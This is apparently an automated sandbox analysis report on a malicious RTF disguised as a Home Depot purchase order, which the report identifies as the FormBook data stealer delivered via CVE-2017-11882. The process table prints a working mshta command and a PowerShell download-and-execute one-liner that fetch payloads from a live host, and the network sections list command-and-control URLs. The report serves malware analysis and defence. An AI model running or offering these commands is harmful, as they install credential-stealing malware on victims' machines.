| File name: | HomeDepot-PO18092019.doc |
| Full analysis: | https://app.any.run/tasks/ef4eeb28-e32d-4285-975b-76da06e7dc29 |
| Verdict: | Malicious activity |
| Threats: | FormBook is a data stealer that is being distributed as a MaaS. FormBook differs from a lot of competing malware by its extreme ease of use that allows even the unexperienced threat actors to use FormBook virus. |
| Analysis date: | September 18, 2019, 18:06:37 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | text/rtf |
| File info: | Rich Text Format data, version 1, unknown character set |
| MD5: | B7B359E2EE8CDD0509BAB4F5CF69DA8A |
| SHA1: | 9FEC5B1B8385B4A8A2EC8647D9C4AA96000915AD |
| SHA256: | 55D3B652EC89681F6A131E92CC703BCAE15FB8DDC42179FF88D130AE19B0B6D4 |
| SSDEEP: | 192:VkE6B5aToSwrPowhacsLbMBOX7ojJnOi5VmxbWYYY5:VkrB5aToSwrPowkcIbMBOXti5Vs |
MALICIOUS
Equation Editor starts application (CVE-2017-11882)
- EQNEDT32.EXE (PID: 3616)
Application was dropped or rewritten from another process
- bvsz.exe (PID: 3136)
SUSPICIOUS
Executed via COM
- EQNEDT32.EXE (PID: 3616)
Starts MSHTA.EXE for opening HTA or HTMLS files
- EQNEDT32.EXE (PID: 3616)
Executed via WMI
- powershell.exe (PID: 3164)
PowerShell script executed
- powershell.exe (PID: 3164)
Creates files in the user directory
- powershell.exe (PID: 3164)
- bvsz.exe (PID: 3136)
Connects to unusual port
- powershell.exe (PID: 3164)
- mShTA.exe (PID: 2304)
Executable content was dropped or overwritten
- powershell.exe (PID: 3164)
- bvsz.exe (PID: 3136)
INFO
Reads Microsoft Office registry keys
- WINWORD.EXE (PID: 2972)
Creates files in the user directory
- WINWORD.EXE (PID: 2972)
Application was crashed
- EQNEDT32.EXE (PID: 3616)
Reads internet explorer settings
- mShTA.exe (PID: 2304)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .rtf | | | Rich Text Format (100) |
|---|
EXIF
RTF
| Author: | FireSecIT |
|---|---|
| LastModifiedBy: | FireSecIT |
| CreateDate: | 2019:09:17 19:43:00 |
| ModifyDate: | 2019:09:17 19:46:00 |
| RevisionNumber: | 2 |
| TotalEditTime: | 1 minute |
| Pages: | 1 |
| Words: | 3 |
| Characters: | 21 |
| CharactersWithSpaces: | 23 |
| InternalVersionNumber: | 95 |
Total processes
41
Monitored processes
5
Malicious processes
1
Suspicious processes
2
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 2304 | mShTA http://185.161.209.47:1010/hta &AAAAAA C | C:\Windows\system32\mShTA.exe | EQNEDT32.EXE | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft (R) HTML Application host Exit code: 0 Version: 8.00.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2972 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\Downloads\HomeDepot-PO18092019.doc.rtf" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Exit code: 0 Version: 14.0.6024.1000 Modules
| |||||||||||||||
| 3136 | "C:\Users\Public\bvsz.exe" | C:\Users\Public\bvsz.exe | powershell.exe | ||||||||||||
User: admin Integrity Level: MEDIUM Exit code: 0 Modules
| |||||||||||||||
| 3164 | powershell -exec bypass -w 1 -c $V=new-object net.webclient;$V.proxy=[Net.WebRequest]::GetSystemWebProxy();$V.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX($V.downloadstring('http://185.161.209.47:1010/get')); | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | wmiprvse.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 3616 | "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding | C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE | svchost.exe | ||||||||||||
User: admin Company: Design Science, Inc. Integrity Level: MEDIUM Description: Microsoft Equation Editor Exit code: 0 Version: 00110900 Modules
| |||||||||||||||
Total events
1 163
Read events
996
Write events
161
Delete events
6
Modification events
| (PID) Process: | (2972) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems |
| Operation: | write | Name: | p-" |
Value: 702D22009C0B0000010000000000000000000000 | |||
| (PID) Process: | (2972) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1033 |
Value: Off | |||
| (PID) Process: | (2972) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1033 |
Value: On | |||
| (PID) Process: | (2972) WINWORD.EXE | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage |
| Operation: | write | Name: | WORDFiles |
Value: 1328676894 | |||
| (PID) Process: | (2972) WINWORD.EXE | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage |
| Operation: | write | Name: | ProductFiles |
Value: 1328677008 | |||
| (PID) Process: | (2972) WINWORD.EXE | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage |
| Operation: | write | Name: | ProductFiles |
Value: 1328677009 | |||
| (PID) Process: | (2972) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word |
| Operation: | write | Name: | MTTT |
Value: 9C0B000062278BD74B6ED50100000000 | |||
| (PID) Process: | (2972) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems |
| Operation: | write | Name: | j." |
Value: 6A2E22009C0B000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000 | |||
| (PID) Process: | (2972) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems |
| Operation: | delete value | Name: | j." |
Value: 6A2E22009C0B000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000 | |||
| (PID) Process: | (2972) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | UNCAsIntranet |
Value: 0 | |||
Executable files
6
Suspicious files
3
Text files
10
Unknown types
4
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 2972 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVR8D70.tmp.cvr | — | |
MD5:— | SHA256:— | |||
| 3164 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\4EOQ9NFDQ5BLKTPLNF9R.temp | — | |
MD5:— | SHA256:— | |||
| 2972 | WINWORD.EXE | C:\Users\admin\Downloads\~$meDepot-PO18092019.doc.rtf | pgc | |
MD5:— | SHA256:— | |||
| 3164 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms | binary | |
MD5:— | SHA256:— | |||
| 3136 | bvsz.exe | C:\Users\admin\AppData\Local\Temp\nswE0FF.tmp | — | |
MD5:— | SHA256:— | |||
| 2972 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Office\Recent\HomeDepot-PO18092019.doc.rtf.LNK | lnk | |
MD5:— | SHA256:— | |||
| 3136 | bvsz.exe | C:\Users\admin\AppData\Local\Temp\Reprisal | binary | |
MD5:— | SHA256:— | |||
| 2972 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Office\Recent\index.dat | text | |
MD5:— | SHA256:— | |||
| 2972 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotm | pgc | |
MD5:— | SHA256:— | |||
| 3136 | bvsz.exe | C:\Users\admin\AppData\Roaming\channelName\missingtrackvolume\struct\vsmsvr.exe | xml | |
MD5:7B3340410E29B9286775BFE173EEF518 | SHA256:8248A652CA2407BE9CC59C69247EBE7EC036982CAC90A66D67F1578F4C4659E3 | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
6
TCP/UDP connections
7
DNS requests
3
Threats
14
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
— | — | GET | 301 | 185.230.62.177:80 | http://www.iris2skin.com/pm/?Ul9L=Tl7e38PleDU8QHQ3sgW03tw9+vSTaX5aq4nzu8UHFDIO/Wvx/8sKtgEjO2S3NahKlhiU8Q==&5j=zl3D | unknown | — | — | malicious |
2304 | mShTA.exe | GET | 200 | 185.161.209.47:1010 | http://185.161.209.47:1010/hta | NL | html | 2.44 Kb | malicious |
3164 | powershell.exe | GET | 200 | 185.161.209.47:1010 | http://185.161.209.47:1010/get | NL | text | 468 Kb | malicious |
— | — | GET | — | 91.195.240.94:80 | http://www.constructorarabguar.com/pm/?Ul9L=UNIa0Th48awdAW3TSGSxSSGqL46Z+e1F2BI+/U+iNAM7uRQAqZ7PfkaLzWpa7AvR8c6+rg==&5j=zl3D&sql=1 | DE | — | — | malicious |
— | — | POST | — | 91.195.240.94:80 | http://www.constructorarabguar.com/pm/ | DE | — | — | malicious |
— | — | POST | — | 91.195.240.94:80 | http://www.constructorarabguar.com/pm/ | DE | — | — | malicious |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
3164 | powershell.exe | 185.161.209.47:1010 | — | Serverius Holding B.V. | NL | malicious |
2304 | mShTA.exe | 185.161.209.47:1010 | — | Serverius Holding B.V. | NL | malicious |
— | — | 91.195.240.94:80 | www.constructorarabguar.com | SEDO GmbH | DE | malicious |
— | — | 185.230.62.177:80 | www.iris2skin.com | — | — | malicious |
DNS requests
Domain | IP | Reputation |
|---|---|---|
www.iris2skin.com |
| malicious |
www.news3049.reisen |
| unknown |
www.constructorarabguar.com |
| malicious |
Threats
PID | Process | Class | Message |
|---|---|---|---|
2304 | mShTA.exe | Misc activity | SUSPICIOUS [PTsecurity] Cmd.Powershell.Download HTTP UserAgent (Win7) |
3164 | powershell.exe | A Network Trojan was detected | ET TROJAN Windows executable base64 encoded |
3164 | powershell.exe | Misc activity | SUSPICIOUS [PTsecurity] Executable base64 Payload |
— | — | A Network Trojan was detected | MALWARE [PTsecurity] FormBook CnC Checkin (GET) |
— | — | A Network Trojan was detected | MALWARE [PTsecurity] FormBook CnC Checkin (GET) |
— | — | A Network Trojan was detected | MALWARE [PTsecurity] TrojanSpy:FormBook CnC Checkin (POST) |
— | — | A Network Trojan was detected | MALWARE [PTsecurity] FormBook CnC Checkin (POST) |
— | — | A Network Trojan was detected | MALWARE [PTsecurity] TrojanSpy:FormBook CnC Checkin (POST) |
— | — | A Network Trojan was detected | MALWARE [PTsecurity] FormBook CnC Checkin (POST) |
5 ETPRO signatures available at the full report